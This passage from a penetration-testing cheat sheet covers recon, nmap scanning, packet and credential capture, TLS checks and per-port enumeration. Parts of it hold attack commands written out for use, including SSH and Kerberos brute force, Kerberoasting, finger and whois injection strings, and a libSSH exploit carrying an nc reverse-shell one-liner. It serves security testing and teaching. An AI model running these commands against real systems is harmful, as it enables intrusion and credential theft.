 waymore -i target.com -mode U -oU urls.txt
```

### Filtering

```bash
# https://github.com/tomnomnom/qsreplace
cat urls.txt | qsreplace -a

# https://github.com/s0md3v/uro 
cat urls.txt | uro
```

Patterns

```bash
# https://github.com/tomnomnom/gf 
# https://github.com/1ndianl33t/Gf-Patterns 
gf sqli urls.txt
```

### JS

```bash
# https://github.com/w9w/JSA 
cat urls.txt | python3 jsa.py 

# https://github.com/lc/subjs 
cat js.txt | subjs | httpx 

# https://github.com/GerbenJavado/LinkFinder 
python3 linkfinder.py -d -i https://domain.com/whatever.js -o cli
```

### Wordlists generation

```bash
# https://github.com/tomnomnom/unfurl 
cat urls.txt | unfurl -u keys 
cat urls.txt | unfurl -u values
```


# Network Scanning

> **Skill Level**: Beginner to Intermediate\
> **Prerequisites**: Basic networking, TCP/IP

## IP resolution

```bash
# https://github.com/Josue87/resolveDomains
resolveDomains -d subdomains.txt

# Expected output:
# subdomain1.target.com -> 192.168.1.10
# subdomain2.target.com -> 192.168.1.11
```

## Netdiscover

```bash
netdiscover -i eth0
netdiscover -r 10.11.1.1/24

# Expected output:
# _____________________________________________________________________________
#   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
# -----------------------------------------------------------------------------
# 10.11.1.1       00:50:56:aa:bb:cc      1      60  VMware, Inc.
# 10.11.1.5       00:0c:29:dd:ee:ff      1      60  VMware, Inc.
```

## Nmap

```bash
# Host discovery (ping sweep)
nmap -sn 10.11.1.1/24
nmap -sn 10.11.1.1-253
nmap -sn 10.11.1.*

# Expected output:
# Nmap scan report for 10.11.1.5
# Host is up (0.00052s latency).
# Nmap scan report for 10.11.1.10
# Host is up (0.00031s latency).
# Nmap done: 256 IP addresses (15 hosts up) scanned in 2.43 seconds
```

## NetBios

```bash
nbtscan -r 10.11.1.1/24

# Expected output:
# IP address       NetBIOS Name     Server    User             MAC address      
# ------------------------------------------------------------------------------
# 10.11.1.5        WORKSTATION1     <server>  <unknown>        00:0c:29:aa:bb:cc
# 10.11.1.10       DC01             <server>  <unknown>        00:0c:29:dd:ee:ff
```

## Ping Sweep - Bash

```bash
for i in {1..254} ;do (ping -c 1 172.21.10.$i | grep "bytes from" &) ;done

# Expected output:
# 64 bytes from 172.21.10.1: icmp_seq=1 ttl=64 time=0.5 ms
# 64 bytes from 172.21.10.5: icmp_seq=1 ttl=64 time=1.2 ms
```

## Ping Sweep - Windows

```bash
for /L %i in (1,1,255) do @ping -n 1 -w 200 172.21.10.%i > nul && echo 192.168.1.%i is up.

# Expected output:
# 192.168.1.1 is up.
# 192.168.1.5 is up.
```


# Host Scanning

## nmap

```bash
# Fast simple scan
nmap 10.11.1.111

# Nmap ultra fast
nmap 10.11.1.111 --max-retries 1 --min-rate 1000

# Get open ports
nmap -p - -Pn -n 10.10.10.10

# Comprehensive fast and accurate
nmap --top-ports 200 -sV -n --max-retries 2 -Pn --open -iL ips.txt -oA portscan_active

# Get sV from ports
nmap -pXX,XX,XX,XX,XX -Pn -sV -n 10.10.10.10

# Full complete slow scan with output
nmap -v -A -p- -Pn --script vuln -oA full 10.11.1.111

# Network filtering evasion
nmap --source-port 53 -p 5555 10.11.1.111
    # If work, set IPTABLES to bind this port
    iptables -t nat -A POSTROUTING -d 10.11.1.111 -p tcp -j SNAT --to :53

# Scan for UDP
nmap 10.11.1.111 -sU
nmap -sU -F -Pn -v -d -sC -sV --open --reason -T5 10.11.1.111

# FW evasion
nmap -f <IP>
nmap --mtu 24 <IP>
nmap --data-length 30 <IP>
nmap --source-port 53 <IP>

# Nmap better speed flags
--max-rtt-timeout: Time response per probe
--script-timeout: Time response per script
--host-timeout: Time response for host
--open: Avoid detection if filtered or closed
--min-rate
```

## shodan

```bash
# https://cli.shodan.io/
shodan host 151.101.1.68
```

![](/files/-MOfAerQBRXDQtFI88g2)

![](/files/-MPEFM5zwb_IazjhthKI)


# Packet Scanning

## tcpdump

```bash
# Basic capture
tcpdump -i eth0
tcpdump -c 100 -i eth0                    # Capture 100 packets
tcpdump -A -i eth0                         # Print packets in ASCII
tcpdump -XX -i eth0                        # Print packets in HEX and ASCII
tcpdump -w capture.pcap -i eth0            # Write to file
tcpdump -r capture.pcap                    # Read from file
tcpdump -n -i eth0                         # Don't resolve hostnames
tcpdump -nn -i eth0                        # Don't resolve hostnames or ports

# Filter by port/host
tcpdump -i eth0 port 22
tcpdump -i eth0 port 80 or port 443
tcpdump -i eth0 src 172.21.10.X
tcpdump -i eth0 dst 172.21.10.X
tcpdump -i eth0 host 10.10.10.10
tcpdump -i eth0 net 192.168.1.0/24

# Filter by protocol
tcpdump -i eth0 icmp
tcpdump -i eth0 tcp
tcpdump -i eth0 udp

# Complex filters
tcpdump -i eth0 'tcp[tcpflags] & (tcp-syn) != 0'     # SYN packets
tcpdump -i eth0 'tcp[tcpflags] & (tcp-rst) != 0'     # RST packets
tcpdump -i eth0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)'  # HTTP with data

# Capture credentials (unencrypted)
tcpdump -i eth0 -A port 21 or port 23 or port 110 or port 143

# Online service
https://packettotal.com/
```

## Wireshark / tshark

```bash
# CLI capture with tshark
tshark -i eth0                             # Basic capture
tshark -i eth0 -w capture.pcap             # Write to file
tshark -r capture.pcap                     # Read from file
tshark -i eth0 -f "port 80"                # Capture filter
tshark -r capture.pcap -Y "http"           # Display filter

# Extract specific fields
tshark -r capture.pcap -T fields -e ip.src -e ip.dst -e tcp.port
tshark -r capture.pcap -Y "http.request" -T fields -e http.host -e http.request.uri

# Follow TCP streams
tshark -r capture.pcap -z follow,tcp,ascii,0

# Protocol statistics
tshark -r capture.pcap -z io,phs           # Protocol hierarchy
tshark -r capture.pcap -z conv,tcp         # TCP conversations
tshark -r capture.pcap -z endpoints,ip     # IP endpoints

# Extract HTTP objects
tshark -r capture.pcap --export-objects "http,./extracted_files"

# Common display filters for Wireshark
# http.request.method == "POST"
# tcp.flags.syn == 1
# dns.qry.name contains "domain"
# ftp.request.command == "PASS"
# smb2.filename
# kerberos.CNameString
```

## Protocol-specific analysis

```bash
# HTTP traffic analysis
tshark -r capture.pcap -Y "http" -T fields -e http.host -e http.request.uri -e http.request.method
tshark -r capture.pcap -Y "http.request.method==POST" -T fields -e http.file_data

# DNS queries
tshark -r capture.pcap -Y "dns.flags.response == 0" -T fields -e dns.qry.name

# SMB file operations
tshark -r capture.pcap -Y "smb2.filename" -T fields -e smb2.filename

# FTP credentials
tshark -r capture.pcap -Y "ftp.request.command == USER || ftp.request.command == PASS" -T fields -e ftp.request.arg

# NTLM hashes (for cracking)
tshark -r capture.pcap -Y "ntlmssp.messagetype == 3" -T fields -e ntlmssp.auth.username -e ntlmssp.auth.domain
```

## Credential extraction

```bash
# https://github.com/lgandx/PCredz
./Pcredz -f file-to-parse.pcap
./Pcredz -d /tmp/pcap-directory-to-parse/
./Pcredz -i eth0 -v

# https://github.com/DanMcInerney/net-creds
python2 net-creds.py -p capture.pcap
python2 net-creds.py -i eth0

# Extract NTLM hashes with NTLMRawUnHide
# https://github.com/mlgualtieri/NTLMRawUnHide
python3 NTLMRawUnHide.py -i capture.pcap

# Wireshark manual extraction
# Filter: ntlmssp
# Look for NTLMSSP_AUTH messages
# Right-click -> Export packet bytes
```

## Encrypted traffic analysis

```bash
# Decrypt TLS with pre-master secret (if you have SSLKEYLOGFILE)
tshark -r capture.pcap -o "tls.keylog_file:sslkeys.log" -Y "http"

# Wireshark: Edit -> Preferences -> Protocols -> TLS -> (Pre)-Master-Secret log filename

# Identify encrypted protocols without decryption
tshark -r capture.pcap -Y "tls.handshake.type == 1" -T fields -e tls.handshake.extensions_server_name

# JA3/JA3S fingerprinting for TLS client identification
# https://github.com/salesforce/ja3
tshark -r capture.pcap -Y "tls.handshake.type == 1" -T fields -e tls.handshake.ja3

# Detect potential C2 traffic patterns
tshark -r capture.pcap -z io,stat,60,"COUNT(frame)frame"  # Check for beaconing intervals
```

## Network forensics

```bash
# Extract all files from pcap
# https://github.com/xplico/xplico
# https://www.netresec.com/?page=NetworkMiner

# Reconstruct sessions
tcpflow -r capture.pcap -o output_dir

# Find cleartext passwords
strings capture.pcap | grep -i "pass\|pwd\|login\|user"

# Carve files from network traffic
foremost -i capture.pcap -o carved_files
binwalk -e capture.pcap
```


# Files

### Common

```bash
# Check real file type
file file.xxx

# Analyze strings
strings file.xxx
strings -a -n 15 file.xxx # Check the entire file and outputs strings longer than 15 chars

# Check embedded files
binwalk file.xxx # Check
binwalk -e file.xxx # Extract

# Check as binary file in hex
ghex file.xxx

# Check metadata
exiftool file.xxx

# Stego tool for multiple formats
wget https://embeddedsw.net/zip/OpenPuff_release.zip
unzip OpenPuff_release.zip -d ./OpenPuff
wine OpenPuff/OpenPuff_release/OpenPuff.exe

# Compressed files
fcrackzip file.zip
# https://github.com/priyankvadaliya/Zip-Cracker-
python zipcracker.py -f testfile.zip -d passwords.txt
python zipcracker.py -f testfile.zip -d passwords.txt -o extractdir

# Office documents
https://github.com/assafmo/xioc

# Zip files in website
pip install remotezip
# list contents of a remote zip file
remotezip -l "http://site/bigfile.zip"
# extract file.txt from a remote zip file
remotezip "http://site/bigfile.zip" "file.txt"

# Grep inside any files
# https://github.com/phiresky/ripgrep-all
rga "whatever" folder/
```

### Disk files

```bash
# guestmount can mount any kind of disk file
sudo apt-get install libguestfs-tools
guestmount --add yourVirtualDisk.vhdx --inspector --ro /mnt/anydirectory
```

### Audio

```bash
# Check spectrogram
wget https://code.soundsoftware.ac.uk/attachments/download/2561/sonic-visualiser_4.0_amd64.deb
dpkg -i sonic-visualiser_4.0_amd64.deb

# Check for Stego
hideme stego.mp3 -f && cat output.txt #AudioStego
```

### Images

```bash
# Stego
wget http://www.caesum.com/handbook/Stegsolve.jar -O stegsolve.jar
chmod +x stegsolve.jar
java -jar stegsolve.jar

# Stegpy
stegpy -p file.png

# Check png corrupted
pngcheck -v image.jpeg

# Check what kind of image is
identify -verbose image.jpeg

# Stegseek
# https://github.com/RickdeJager/stegseek
stegseek --seed file.jpg
stegseek file.jpg rockyou.txt 
```


# SSL/TLS

## Modern Testing Tools

```bash
# Comprehensive TLS testing (recommended)
# testssl.sh - https://github.com/drwetter/testssl.sh
testssl.sh https://example.com

# With specific checks
testssl.sh --vulnerable https://example.com
testssl.sh --cipher-per-proto https://example.com

# SSLyze - Python-based
# https://github.com/nabla-c0d3/sslyze
sslyze --regular example.com:443

# tlsx - Fast TLS prober
# https://github.com/projectdiscovery/tlsx
tlsx -u example.com -port 443

# Nmap SSL scripts
nmap --script ssl-* -p 443 example.com
```

## 2025 Best Practices

### Recommended Configuration

```
# Protocols
✅ TLS 1.3 (preferred)
✅ TLS 1.2 (acceptable)
❌ TLS 1.1 (deprecated)
❌ TLS 1.0 (deprecated)
❌ SSLv3 (insecure)
❌ SSLv2 (insecure)

# Cipher Suites (TLS 1.3)
TLS_AES_256_GCM_SHA384
TLS_CHACHA20_POLY1305_SHA256
TLS_AES_128_GCM_SHA256

# Cipher Suites (TLS 1.2)
ECDHE-ECDSA-AES256-GCM-SHA384
ECDHE-RSA-AES256-GCM-SHA384
ECDHE-ECDSA-CHACHA20-POLY1305
ECDHE-RSA-CHACHA20-POLY1305
ECDHE-ECDSA-AES128-GCM-SHA256
ECDHE-RSA-AES128-GCM-SHA256

# Key Exchange
✅ ECDHE (Elliptic Curve Diffie-Hellman Ephemeral)
⚠️ DHE (only with 2048+ bit parameters)
❌ RSA key exchange (no forward secrecy)
❌ DH < 2048 bits

# Certificates
✅ RSA 2048+ bits or ECDSA 256+ bits
✅ SHA-256 or better signature
❌ SHA-1 signatures
❌ MD5 signatures
```

## Quick Vulnerability Checks

```bash
# Check supported protocols
openssl s_client -connect example.com:443 -tls1_3
openssl s_client -connect example.com:443 -tls1_2
openssl s_client -connect example.com:443 -tls1_1
openssl s_client -connect example.com:443 -tls1

# Check certificate details
openssl s_client -connect example.com:443 </dev/null 2>/dev/null | openssl x509 -noout -text

# Check certificate expiry
echo | openssl s_client -connect example.com:443 2>/dev/null | openssl x509 -noout -dates

# Check certificate chain
openssl s_client -connect example.com:443 -showcerts
```

## DROWN

```bash
# Check for "SSLv2 supported"
nmap -p- -sV -sC example.com
testssl.sh --drown example.com
```

## TLS\_FALLBACK\_SCSV

```bash
# Check in the lower port
openssl s_client –tls1 -fallback_scsv -connect example.com:443
# - Response:
# tlsv1 alert inappropriate fallback:s3_pkt.c:1262:SSL alert number 86
```

## BEAST

```bash
# TLSv1.0 and CBC ciphers
openssl s_client -[sslv3/tls1] -cipher CBC_CIPHER -connect example.com:443
```

## LUCKY13

```bash
openssl s_client -cipher CBC_CIPHER -connect example.com:443
```

## Sweet32

```bash
openssl s_client -cipher 3DES -connect example.com:443
```

## Logjam

```bash
# Check the "Server Temp Key" response is bigger than 1024 (only in OpenSSL 1.0.2 or better)
openssl s_client -connect www.example.com:443 -cipher "EDH"
```

## SSLv2 Support

```bash
# If is supported this will return the server certificate information if not, error
openssl s_client –ssl2 -connect example.com:443
```

## SSLv3 Support

```bash
# If is supported this will return the server certificate information if not, error
openssl s_client -ssl3 -connect google.com:443
```

## Cipher suites

```bash
# Cipher Suites
nmap --script ssl-enum-ciphers -p 443 example.com

# - Anon cypher (fail)
openssl s_client -cipher aNULL -connect example.com:443

# - DES Cipher (fail)
openssl s_client -cipher DES -connect example.com:443

# - 3DES Cipher (fail)
openssl s_client -cipher 3DES -connect example.com:443

# - Export Cipher (fail)
openssl s_client -cipher EXPORT -connect example.com:443

# - Low Cipher (fail)
openssl s_client -cipher LOW -connect example.com:443

# - RC4 Cipher (fail)
openssl s_client -cipher RC4 -connect example.com:443

# - NULL Cipher (fail)
openssl s_client -cipher NULL -connect example.com:443

# - Perfect Forward Secrecy Cipher (This should NOT fail):
openssl s_client -cipher EECDH, EDH NULL -connect example.com:443
```

## Secure renegotiation

```bash
# Check secure renegotiation is not supported
# If not, send request in the renegotiation
# Once sent, if it's vulnerable it shouldn't return error
openssl s_client -connect example.com:443
HEAD / HTTP/1.0
R
# <Enter or Return key>
```

## CRIME

```bash
# Check for "Compression: NONE"
openssl s_client -connect example.com:443
```

## BREACH

```bash
# If the response contains encoded data, host is vulnerable
openssl s_client -connect example.com:443
GET / HTTP/1.1
Host: example.com
Accept-Encoding: compress, gzip
```

## Heartbleed

```bash
# Heartbleed
nmap -p 443 --script ssl-heartbleed --script-args vulns.showall example.com

# Heartbleed checker oneliner from sites list
cat list.txt | while read line ; do echo "QUIT" | openssl s_client -connect $line:443 2>&1 | grep 'server extension "heartbeat" (id=15)' || echo $line: safe; done
```

## Change cipher spec injection

```bash
nmap -p 443 --script ssl-ccs-injection example.com
```

## Cipher order enforcement

```bash
# Choose a protocol and 2 different ciphers, one stronger than other
# Make 2 request with different cipher order anc check in the response if the cipher is the first of the request in both cases
nmap -p 443 --script ssl-enum-ciphers example.com
openssl s_client –tls1_2 –cipher ‘AES128-GCM-SHA256:AES128-SHA’ –connect contextis.co.uk:443
openssl s_client –tls1_2 –cipher ‘AES128-SHA:AES128-GCM-SHA256’ –connect contextis.co.uk:443
```

## Additional Vulnerabilities

### POODLE

```bash
# SSLv3 + CBC = vulnerable
openssl s_client -ssl3 -connect example.com:443
testssl.sh --poodle example.com
```

### ROBOT

```bash
# Return Of Bleichenbacher's Oracle Threat
# RSA key exchange vulnerability
testssl.sh --robot example.com
```

### Certificate Issues

```bash
# Check for certificate issues
testssl.sh --cert example.com

# Common issues:
# - Expired certificate
# - Self-signed certificate
# - Wrong hostname (CN/SAN mismatch)
# - Weak signature algorithm (SHA-1, MD5)
# - Short key length (< 2048 bits RSA)
# - Missing intermediate certificates
```

## Resources

* [SSL Labs Server Test](https://www.ssllabs.com/ssltest/)
* [testssl.sh](https://github.com/drwetter/testssl.sh)
* [Mozilla SSL Configuration Generator](https://ssl-config.mozilla.org/)
* [OWASP TLS Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html)


# Ports

## General

AIO [Penetration Testing Methodology - 0DAYsecurity.com](http://0daysecurity.com/penetration-testing/enumeration.html)

## Port 21 - FTP

```bash
nmap --script ftp-* -p 21 10.11.1.111
```

## Port 22 - SSH

* If you have usernames test login with username:username
* Vulnerable Versions to user enum: <7.7

```bash
# Enum SSH
# Get version
nmap 10.11.1.1 -p22 -sV
# Get banner
nc 10.11.1.1 22
# Get login banner
ssh root@10.11.11.1
# Get algorythms supporteed
nmap -p22 10.11.1.1 --script ssh2-enum-algos
# Check weak keys
nmap-p22 10.2.1.1 --script ssh-hostkey --script-args ssh_hostkey=full
# Check auth methods
nmap -p22 10.11.1.1 --script ssh-auth-methods --script-args="ssh.user=admin"

# User can ask to execute a command right after authentication before it’s default command or shell is executed
$ ssh -v user@10.10.1.111 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 10.10.1.111 ([10.10.1.1114]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(user) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

# Check Auth Methods:
$ ssh -v 10.10.1.111
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

# Force Auth Method:
$ ssh -v 10.10.1.111 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

# BruteForce:
patator ssh_login host=10.11.1.111 port=22 user=root 0=/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt password=FILE0 -x ignore:mesg='Authentication failed.'
hydra -l user -P /usr/share/wordlists/password/rockyou.txt -e s ssh://10.10.1.111
medusa -h 10.10.1.111 -u user -P /usr/share/wordlists/password/rockyou.txt -e s -M ssh
ncrack --user user -P /usr/share/wordlists/password/rockyou.txt ssh://10.10.1.111

# LibSSH Before 0.7.6 and 0.8.4 - LibSSH 0.7.6 / 0.8.4 - Unauthorized Access 
# Id
python /usr/share/exploitdb/exploits/linux/remote/46307.py 10.10.1.111 22 id
# Reverse
python /usr/share/exploitdb/exploits/linux/remote/46307.py 10.10.1.111 22 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.1.111 80 >/tmp/f"

# SSH FUZZ
# https://dl.packetstormsecurity.net/fuzzer/sshfuzz.txt

# cpan Net::SSH2
./sshfuzz.pl -H 10.10.1.111 -P 22 -u user -p user

use auxiliary/fuzzers/ssh/ssh_version_2

# SSH-AUDIT
# https://github.com/arthepsy/ssh-audit                     

# Enum users < 7.7:
# https://www.exploit-db.com/exploits/45233
https://github.com/CaioCGH/EP4-redes/blob/master/attacker/sshUsernameEnumExploit.py
python ssh_user_enum.py --port 2223 --userList /root/Downloads/users.txt IP 2>/dev/null | grep "is a"

# SSH Leaks:
https://shhgit.darkport.co.uk/

# SSH bruteforce
# https://github.com/kitabisa/ssb
```

## Port 23 - Telnet

```bash
# Get banner
telnet 10.11.1.110
# Bruteforce password
patator telnet_login host=10.11.1.110 inputs='FILE0\nFILE1' 0=/root/Desktop/user.txt 1=/root/Desktop/pass.txt  persistent=0 prompt_re='Username: | Password:'
```

## Port 25 - SMTP

```bash
nc -nvv 10.11.1.111 25
HELO foo

telnet 10.11.1.111 25
VRFY root

nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 10.11.1.111
smtp-user-enum -M VRFY -U /root/sectools/SecLists/Usernames/Names/names.txt -t 10.11.1.111

# SMTP relay
msfconsole
use auxiliary/scanner/smtp/smtp_relay
set RHOSTS <IP or File>
set MAILFROM <PoC email address>
set MAILTO <your email address>
run

# Send email unauth:

MAIL FROM:admin@admin.com
RCPT TO:DestinationEmail@DestinationDomain.com
DATA
test

.

Receive:
250 OK
```

## Port 43 - Whois

```bash
whois -h 10.10.1.111 -p 43 "domain.com"
echo "domain.com" | nc -vn 10.10.1.111 43
whois -h 10.10.1.111 -p 43 "a') or 1=1#"
```

## Port 53 - DNS

```bash
# Transfer zone

dig AXFR domain.com @10.10.10.10
# dig +multi AXFR @ns1.insecuredns.com insecuredns.com
dnsrecon -t axfr -d domain
fierce -dns domain.com
```

## Port 69 - UDP - TFTP

* Vulns tftp in server 1.3, 1.4, 1.9, 2.1, and a few more.
* Same checks as FTP Port 21.

```bash
nmap -p69 --script=tftp-enum.nse 10.11.1.111
```

## Port 79 - Finger

```bash
nc -vn 10.11.1.111 79
echo "root" | nc -vn 10.11.1.111 79

# User enumeration
finger @10.11.1.111       #List users
finger admin@10.11.1.111  #Get info of user
finger user@10.11.1.111   #Get info of user

finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"
```

## Port 88 - Kerberos

Check [Kerberos dedicated](/post-exploitation/windows/ad/kerberos-attacks) section

```bash
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN.LOCAL'" IP
use auxiliary/gather/kerberos_enumusers # MSF

# Check for Kerberoasting: 
GetNPUsers.py DOMAIN-Target/ -usersfile user.txt -dc-ip <IP> -format hashcat/john

# GetUserSPNs
ASREPRoast:
impacket-GetUserSPNs <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
impacket-GetUserSPNs <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

# Kerberoasting: 
impacket-GetUserSPNs <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file> 

# Overpass The Hash/Pass The Key (PTK):
python3 getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
python3 getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
python3 getTGT.py <domain_name>/<user_name>:[password]

# Using TGT key to excute remote commands from the following impacket scripts:

python3 psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python3 smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python3 wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

# https://www.tarlogic.com/blog/como-funciona-kerberos/
# https://www.tarlogic.com/blog/como-atacar-kerberos/

python kerbrute.py -dc-ip IP -users /root/htb/kb_users.txt -passwords /root/pass_common_plus.txt -threads 20 -domain DOMAIN -outputfile kb_extracted_passwords.txt

# https://blog.stealthbits.com/extracting-service-account-passwords-with-kerberoasting/
# https://github.com/GhostPack/Rubeus
# https://github.com/fireeye/SSSDKCMExtractor
# https://gitlab.com/Zer1t0/cerbero
```

## Port 110 - Pop3

```bash
telnet 10.11.1.111
USER pelle@10.11.1.111
PASS admin

# or:

USER pelle
PASS admin

# List all emails
list

# Retrieve email number 5, for example
retr 9
```

## Port 111 - Rpcbind

```bash
rpcinfo -p 10.11.1.111
rpcclient -U "" 10.11.1.111
    srvinfo
    enumdomusers
    getdompwinfo
    querydominfo
    netshareenum
    netshareenumall
```

## Port 135 - MSRPC

Some versions are vulnerable.

```bash
nmap 10.11.1.111 --script=msrpc-enum
msf > use exploit/windows/dcerpc/ms03_026_dcom

# Endpoint Mapper Service Discovery
use auxiliary/scanner/dcerpc/endpoint_mapper

#Hidden DCERPC Service Discovery
use auxiliary/scanner/dcerpc/hidden

# Remote Management Interface Discovery
use auxiliary/scanner/dcerpc/management

# DCERPC TCP Service Auditor
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor

impacket-rpcdump

# Enum network interface
# https://github.com/mubix/IOXIDResolver
```

| Named pipe | Description | Service or process | Interface identifier |
| ---------- | ----------- | ------------------ | -------------------- |

| atsvc | [atsvc](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_scheduler.html) interface (Scheduler service) | mstask.exe | 1ff70682-0a51-30e8-076d-740be8cee98b v1.0 |
| ----- | -------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------- | ----------------------------------------- |

| AudioSrv | [AudioSrv](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_audio.html) interface (Windows Audio service) | AudioSrv | 3faf4738-3a21-4307-b46c-fdda9bb8c0d5 v1.0 |
| -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------- | -------- | ----------------------------------------- |

| browser (ntsvcs alias) | [browser](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_browser.html) interface (Computer Browser service) | Browser | 6bffd098-a112-3610-9833-012892020162 v0.0 |
| ---------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------- | ----------------------------------------- |

| cert | [ICertPassage](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_certsrv.html) interface (Certificate services) | certsrv.exe | 91ae6020-9e3c-11cf-8d7c-00aa00c091be v0.0 |
| ---- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------- | ----------------------------------------- |

| Ctx\_Winstation\_API\_Service | [winstation\_rpc](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_termsrv.html) interface | termsrv.exe | 5ca4a760-ebb1-11cf-8611-00a0245420ed v1.0 |
| ----------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------- | ----------- | ----------------------------------------- |

| DAV RPC SERVICE | [davclntrpc](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_davclntrpc.html) interface (WebDAV client service) | WebClient | c8cb7687-e6d3-11d2-a958-00c04f682e16 v1.0 |
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------- | ----------------------------------------- |

| dnsserver | [DnsServer](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_dns.html) interface (DNS Server service) | dns.exe | 50abc2a4-574d-40b3-9d66-ee4fd5fba076 v5.0 |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- | ------- | ----------------------------------------- |

| epmapper | [epmp](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/rpcss_msrpc_interfaces.html) interface (RPC endpoint mapper) | RpcSs | e1af8308-5d1f-11c9-91a4-08002b14a0fa v3.0 |
| -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----- | ----------------------------------------- |

| eventlog (ntsvcs alias) | [eventlog](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_eventlog.html) interface (Eventlog service) | Eventlog | 82273fdc-e32a-18c3-3f78-827929dc23ea v0.0 |
| ----------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------- | -------- | ----------------------------------------- |

| HydraLsPipe | Terminal Server Licensing | lserver.exe | 3d267954-eeb7-11d1-b94e-00c04fa3080d v1.0 |
| ----------- | ------------------------- | ----------- | ----------------------------------------- |

| InitShutdown | [InitShutdown](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_winlogon_w2k.html) interface | winlogon.exe | 894de0c0-0d55-11d3-a322-00c04fa321a1 v1.0 |
| ------------ | ---------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | ----------------------------------------- |

| keysvc | [IKeySvc](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_cryptsvc.html) interface (Cryptographic services) | CryptSvc | 8d0ffe72-d252-11d0-bf8f-00c04fd9126b v1.0 |
| ------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------- | ----------------------------------------- |

| keysvc | [ICertProtect](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_cryptsvc.html) interface (Cryptographic services) | CryptSvc | 0d72a7d4-6148-11d1-b4aa-00c04fb66ea0 v1.0 |
| ------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------- | ----------------------------------------- |

| locator | [NsiS](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_locator.html) interface (RPC Locator service) | locator.exe | d6d70ef0-0e3b-11cb-acc3-08002b1d29c4 v1.0 |
| ------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------- | ----------------------------------------- |

| llsrpc | [llsrpc](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_llsrpc.html) interface (Licensing Logging service) | llssrv.exe | 342cfd40-3c6c-11ce-a893-08002b2e9c6d v0.0 |
| ------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------- | ----------------------------------------- |

| lsarpc (lsass alias) | [lsarpc](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_lsarpc.html) interface | lsass.exe | 12345778-1234-abcd-ef00-0123456789ab v0.0 |
| -------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | --------- | ----------------------------------------- |

| lsarpc (lsass alias) | [dssetup](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_dssetup.html) interface | lsass.exe | 3919286a-b10c-11d0-9ba8-00c04fd92ef5 v0.0 |
| -------------------- | ------------------------------------------------------------------------------------------------------------------------------------ | --------- | ----------------------------------------- |

